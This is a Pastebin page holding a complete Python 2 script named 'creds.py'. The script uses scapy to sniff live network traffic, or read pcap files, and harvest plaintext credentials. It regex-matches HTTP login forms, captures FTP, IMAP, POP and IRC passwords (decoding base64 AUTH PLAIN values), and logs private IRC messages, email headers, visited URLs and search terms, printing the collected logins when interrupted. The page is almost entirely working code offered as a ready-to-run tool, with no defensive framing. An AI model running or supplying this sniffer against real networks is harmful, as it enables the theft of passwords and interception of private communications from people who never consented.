Advertisement
opexxx

creds.py

Jul 14th, 2014
290
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 15.31 KB | None | 0 0
  1. #!/usr/bin/env python2
  2.  
  3. from os import geteuid, devnull
  4. import logging
  5. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  6. from scapy.all import *
  7. conf.verb=0
  8. from sys import exit
  9. import argparse
  10. import signal
  11. from base64 import b64decode
  12. from urllib import unquote
  13. from subprocess import Popen, PIPE
  14.  
  15. DN = open(devnull, 'w')
  16.  
  17. def parse_args():
  18.    """Create the arguments"""
  19.    parser = argparse.ArgumentParser()
  20.    parser.add_argument("-i", "--interface", help="Choose an interface")
  21.    parser.add_argument("-v", "--verbose", help="Do not skip or truncate URLs", action='store_true')
  22.    parser.add_argument("-p", "--pcap", help="Parse info from a pcap file; -p <pcapfilename>")
  23.    return parser.parse_args()
  24.  
  25. class Parser:
  26.  
  27.     fragged = 0
  28.     imapauth = 0
  29.     popauth = 0
  30.     ftpuser = None # Necessary since user and pass come in separate packets
  31.     ircnick = None # Necessary since user and pass come in separate packets
  32.     oldmheaders = []
  33.     logins = {} # Printed on Ctrl-C
  34.     # For concatenating fragmented packets
  35.     prev_pkt = {6667:{}, # IRC
  36.                 143:{},  # IMAP
  37.                 110:{},  # POP3
  38.                 80:{},   # HTTP
  39.                 26:{},   # SMTP
  40.                 25:{},   # SMTP
  41.                 21:{}}   # FTP
  42.  
  43.  
  44.     def __init__(self, args):
  45.         self.args = args
  46.  
  47.     def pkt_sorter(self, pkt):
  48.         if pkt.haslayer(Raw) and pkt.haslayer(TCP):
  49.             self.dest    = pkt[IP].dst
  50.             self.src     = pkt[IP].src
  51.             self.dport   = pkt[TCP].dport
  52.             self.sport   = pkt[TCP].sport
  53.             self.ack     = pkt[TCP].ack
  54.             self.seq     = pkt[TCP].seq
  55.             self.load    = str(pkt[Raw].load)
  56.  
  57.             if self.dport == 80 or self.sport == 80:
  58.                 """ HTTP """
  59.                 port = 80
  60.                 # Catch fragmented pkts
  61.                 self.header_lines = self.hb_parse(port)
  62.                 return self.http_parser(port)
  63.  
  64.             elif self.dport == 6667:
  65.                 """ IRC """
  66.                 port = 6667
  67.                 self.header_lines = self.hb_parse(port) # Join fragmented pkts
  68.                 return self.irc(port)
  69.  
  70.             elif self.dport == 21 or self.sport == 21:
  71.                 """ FTP """
  72.                 port = 21
  73.                 self.prev_pkt[port] = self.frag_joiner(port) # No headers in FTP so no need for hb_parse
  74.                 self.ftp(port)
  75.  
  76.             elif self.dport == 25 or self.dport == 26:
  77.                 port = self.dport
  78.                 self.header_lines = self.hb_parse(port) # Join fragmented pkts
  79.                 self.email_parser('', 'Outgoing', '')
  80.  
  81.             elif self.sport == 110 or self.dport == 110:
  82.                 """ POP3 """
  83.                 port = 110
  84.                 self.header_lines = self.hb_parse(port) # Join fragmented pkts
  85.                 if self.dport == 110:
  86.                     self.mail_pw(port)
  87.                 if self.sport == 110:
  88.                     self.email_parser('+OK', 'Incoming', 'POP')
  89.  
  90.             elif self.sport == 143 or self.dport == 143:
  91.                 """ IMAP """
  92.                 port = 143
  93.                 self.header_lines = self.hb_parse(port) # Join fragmented pkts
  94.                 if self.dport == 143:
  95.                     self.mail_pw(port)
  96.                 if self.sport == 143:
  97.                     self.email_parser('BODY[]', 'Incoming', 'IMAP')
  98.  
  99.     def headers_body(self, protocol):
  100.         try:
  101.             h, b = protocol.split("\r\n\r\n", 1)
  102.             return h, b
  103.         except Exception:
  104.             h, b = protocol, ''
  105.             return h, b
  106.  
  107.     def frag_joiner(self, port):
  108.         self.fragged = 0
  109.         if len(self.prev_pkt[port]) > 0:
  110.             if self.ack in self.prev_pkt[port]:
  111.                 self.fragged = 1
  112.                 return {self.ack:self.prev_pkt[port][self.ack]+self.load}
  113.         return {self.ack:self.load}
  114.  
  115.     def hb_parse(self, port):
  116.         self.prev_pkt[port] = self.frag_joiner(port)
  117.         self.headers, self.body = self.headers_body(self.prev_pkt[port][self.ack])
  118.         return self.headers.split('\r\n')
  119.  
  120.     def logins_check(self, port, user, pw):
  121.         for ip in self.logins:
  122.             if ip == self.src:
  123.                 for x in self.logins[ip]:
  124.                     if x == (self.dest, port, user, pw):
  125.                         return 1
  126.                 self.logins[ip].append((self.dest, port, user, pw))
  127.                 return 0
  128.         self.logins[self.src] = [(self.dest, port, user, pw)]
  129.         return 0
  130.  
  131.  
  132.     ##################################################
  133.     #                    MAIL                        #
  134.     ##################################################
  135.     def email_parser(self, first_line, inout, proto):
  136.         """The email module was not giving me what I wanted"""
  137.         mail_header_finder = ['To: ', 'From: ', 'Date: ', 'Subject: ']
  138.         mail_headers = []
  139.         for h in self.header_lines:
  140.             for x in mail_header_finder:
  141.                 if x in h:
  142.                    mail_headers.append(h)
  143.         if len(mail_headers) > 3:
  144.             if first_line in self.header_lines[0] and self.body != '':
  145.                 # Prevent the headers from being repeated in output if msg is fragmented
  146.                 if mail_headers != self.oldmheaders:
  147.                     self.oldmheaders = mail_headers
  148.                     print '[%s] %s %s email:' % (self.src, inout, proto)
  149.                     for m in mail_headers:
  150.                         print '   ', m
  151.  
  152.     def mail_pw(self, port):
  153.         load = self.load.strip('\r\n')
  154.  
  155.         if self.dport == 143:
  156.             auth_find = 'authenticate plain'
  157.             proto = 'IMAP'
  158.             auth = self.imapauth
  159.             self.imapauth = self.mail_pw_auth(load, auth_find, proto, auth, port)
  160.  
  161.         elif self.dport == 110:
  162.             auth_find = 'AUTH PLAIN'
  163.             proto = 'POP'
  164.             auth = self.popauth
  165.             self.popauth = self.mail_pw_auth(load, auth_find, proto, auth, port)
  166.  
  167.     def mail_pw_auth(self, load, auth_find, proto, auth, port):
  168.         if auth == 1:
  169.             user, pw = load, 0
  170.             found = self.logins_check(port, user, pw)
  171.             print '[%s] %s auth: %s' % (self.src, proto, load)
  172.             self.b64decode(load, port)
  173.             return 0
  174.  
  175.         elif auth_find in load:
  176.             return 1
  177.  
  178.     def b64decode(self, load, port):
  179.         b64str = load
  180.         try:
  181.             decoded = b64decode(b64str).replace('\x00', ' ')[1:] # delete space at beginning
  182.         except Exception:
  183.             decoded = ''
  184.         # Test to see if decode worked
  185.         if '@' in decoded:
  186.             print '[%s] Decoded: %s' % (self.src, decoded)
  187.             decoded = decoded.split()
  188.             found = self.logins_check(port, decoded[0], decoded[1])
  189.  
  190.     ##################################################
  191.     #                    HTTP                        #
  192.     ##################################################
  193.     def http_parser(self, port):
  194.  
  195.         url = None
  196.         host = self.search_headers('host: ')
  197.         if host:
  198.             get = self.search_headers('get /')
  199.             post = self.search_headers('post /')
  200.             if get:
  201.                 url = host+get
  202.             elif post:
  203.                 url = host+post
  204.         else:
  205.             return
  206.  
  207.         if url:
  208.             self.url_printer(url, post)
  209.  
  210.             # Print search terms
  211.             searched = self.searches(url, host)
  212.             if searched:
  213.                 print '[%s] Searched %s: %s' % (self.src, host, searched)
  214.  
  215.  
  216.         if post:
  217.             if self.body != '' and 'ocsp' not in host:
  218.                 if self.fragged:
  219.                     print '[%s] POST load (frag): %s' % (self.src, self.body)
  220.                 else:
  221.                     print '[%s] POST load: %s' % (self.src, self.body)
  222.  
  223.         self.http_user_pass(host, port)
  224.  
  225.     def http_user_pass(self, host, port):
  226.         """Regex out the passwords and usernames
  227.        If you think there's a good library for parsing load data I am here to tell you
  228.        I have tried several suggestions and they are all less reliable than this way
  229.        Feel free to prove otherwise"""
  230.         # email, user, username, name, login, log, loginID
  231.         user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
  232.         # password, pass, passwd, pwd, psw, passwrd, passw
  233.         pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)'
  234.         username = re.findall(user_regex, self.body)
  235.         password = re.findall(pw_regex, self.body)
  236.         user = None
  237.         pw = None
  238.  
  239.         if username:
  240.             for u in username:
  241.                 user = u[1]
  242.                 break
  243.  
  244.         if password:
  245.             for p in password:
  246.                 if p[1] != '':
  247.                     pw = p[1]
  248.                     break
  249.  
  250.         if user:
  251.             print '[%s > %s] login:    %s' % (self.src, host, user)
  252.         if pw:
  253.             print '[%s > %s] password: %s' % (self.src, host, pw)
  254.             self.dest = host # So the destination will be saved as the hostname, not IP
  255.             found = self.logins_check(port, user, pw)
  256.  
  257.     def url_printer(self, url, post):
  258.         if not self.args.verbose:
  259.             d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
  260.             if any(i in url for i in d):
  261.                 return
  262.             url = url[:135]
  263.  
  264.         if not self.fragged:
  265.             if post:
  266.                 print '[%s] %s %s' % (self.src, 'POST', url)
  267.             else:
  268.                 print '[%s] %s' % (self.src, url)
  269.  
  270.     def search_headers(self, header):
  271.         for l in self.header_lines:
  272.             if header in l.lower():
  273.                 line = l.split()
  274.                 try:
  275.                     return line[1]
  276.                 except Exception:
  277.                     return 0
  278.  
  279.     def searches(self, url, host):
  280.         """ Find search terms from URLs. Prone to false positives but rather err on that side than false negatives
  281.        search, query, ?s, &q, ?q, search?p, searchTerm, keywords, command """
  282.         searched = re.search('((search|query|\?s|&q|\?q|search\?p|search[Tt]erm|keywords|command)=([^&][^&]*))', url)
  283.         if searched:
  284.             searched = searched.group(3)
  285.  
  286.             # Common false positives
  287.             if 'select%20*%20from' in searched:
  288.                 return 0
  289.             if host == 'geo.yahoo.com':
  290.                 return 0
  291.  
  292.             # Decode URL encoding
  293.             return unquote(searched).replace('+', ' ')
  294.  
  295.  
  296.     ##################################################
  297.     #                     FTP                        #
  298.     ##################################################
  299.     def ftp(self, port):
  300.         """Catch FTP usernames, passwords, and servers"""
  301.         load = self.load.replace('\r\n', '')
  302.  
  303.         if port == self.dport:
  304.             if 'USER ' in load:
  305.                     user = load.strip('USER ')
  306.                     print '[%s > %s] FTP user:    ' % (self.src, self.dest), user
  307.                     self.ftpuser = user
  308.  
  309.             elif 'PASS ' in load:
  310.                     pw = load.strip('PASS ')
  311.                     print '[%s > %s] FTP password:' % (self.src, self.dest), pw
  312.                     # Necessary since usernames and passwords come in separate packets
  313.                     if self.ftpuser:
  314.                         self.logins_check(port, self.ftpuser, pw)
  315.                     else:
  316.                         self.logins_check(port, '', pw)
  317.  
  318.         if 'authentication failed' in load:
  319.             resp = load
  320.             print '[%s > %s] FTP response:' % (self.src, self.dest), resp
  321.  
  322.         if '230 OK' in load:
  323.             resp = load
  324.             print '[%s > %s] FTP response:' % (self.src, self.dest), resp
  325.  
  326.     ##################################################
  327.     #                     IRC                        #
  328.     ##################################################
  329.     def irc(self, port):
  330.         """Catch IRC nicks, passwords, joins, parts, quits, messages"""
  331.         load = self.load.split('\r\n')[0]
  332.  
  333.         if 'NICK ' in load:
  334.             self.ircnick = load.strip('NICK ')
  335.             print '[%s > %s] IRC nick: %s' % (self.src, self.dest, self.ircnick)
  336.  
  337.         elif 'NS IDENTIFY ' in load:
  338.             ircpass = load.strip('NS IDENTIFY ')
  339.             print '[%s > %s] IRC password: %s' % (self.src, self.dest, ircpass)
  340.             if self.ircnick:
  341.                 self.logins_check(port, self.ircnick, ircpass)
  342.             else:
  343.                 self.logins_check(port, '', ircpass)
  344.  
  345.         elif 'PRIVMSG ' in load:
  346.             load = load.split(' ', 2)
  347.             ircchannel = load[1]
  348.             ircmsg = load[2][1:] # Get rid of the beginning ":"
  349.             print '[%s] IRC msg to %s: %s' % (self.src, ircchannel, ircmsg)
  350.  
  351.         elif 'JOIN ' in load:
  352.             ircjoin = load.strip('JOIN ').split()[0] # There's a parameter x we need to get rid of with the split
  353.             print '[%s > %s] IRC joined: %s' % (self.src, self.dest, ircjoin)
  354.  
  355.         elif 'PART ' in load:
  356.             load = load.split()
  357.             ircchannel = load[1]
  358.             reason = load[2][1:]
  359.             print '[%s > %s] IRC left %s: %s' % (self.src, self.dest, ircchannel, reason)
  360.  
  361.         elif 'QUIT ' in load:
  362.             ircquit = load.strip('QUIT :')
  363.             print '[%s > %s] IRC quit: %s' % (self.src, self.dest, ircquit)
  364.  
  365. def pcap_parser(pcap_file, parser):
  366.     parser = parser
  367.  
  368.     try:
  369.         pcap = rdpcap(pcap_file)
  370.     except Exception:
  371.         exit('[-] Could not open %s' % pcap_file)
  372.     for pkt in pcap:
  373.         parser.pkt_sorter(pkt)
  374.     print ''
  375.     for k in parser.logins:
  376.         for v in parser.logins[k]:
  377.             print '%s: %s' % (k, v)
  378.     exit('[*] Finished parsing pcap file')
  379.  
  380. def iface_finder():
  381.     try:
  382.         ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
  383.         for line in ipr.communicate()[0].splitlines():
  384.             if 'default' in line:
  385.                 l = line.split()
  386.                 iface = l[4]
  387.                 return iface
  388.     except Exception:
  389.         exit('[-] Could not find an internet active interface; please specify one with -i <interface>')
  390.  
  391.  
  392. ##################################################
  393. #                     MAIN                       #
  394. ##################################################
  395. def main(args):
  396.  
  397.     parser = Parser(args)
  398.  
  399.     # Read from pcap file
  400.     if args.pcap:
  401.         pcap_parser(args.pcap, parser)
  402.  
  403.     # Check for root
  404.     if geteuid():
  405.         exit('[-] Please run as root')
  406.  
  407.     #Find the active interface
  408.     if args.interface:
  409.         conf.iface = args.interface
  410.     else:
  411.         conf.iface = iface_finder()
  412.  
  413.     print '[*] Listening on %s, if you wish to change this specify the interface with the -i argument' % conf.iface
  414.  
  415.     def signal_handler(signal, frame):
  416.         """This is nested inside main() so it can use parser.logins[k]
  417.        Prints all the captured credentials"""
  418.         print ''
  419.         for k in parser.logins:
  420.             for v in parser.logins[k]:
  421.                 print '%s: %s' % (k, v)
  422.         exit(0)
  423.     signal.signal(signal.SIGINT, signal_handler)
  424.  
  425.     sniff(iface=conf.iface, prn=parser.pkt_sorter, store=0)
  426.  
  427. if __name__ == "__main__":
  428.    main(parse_args())
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement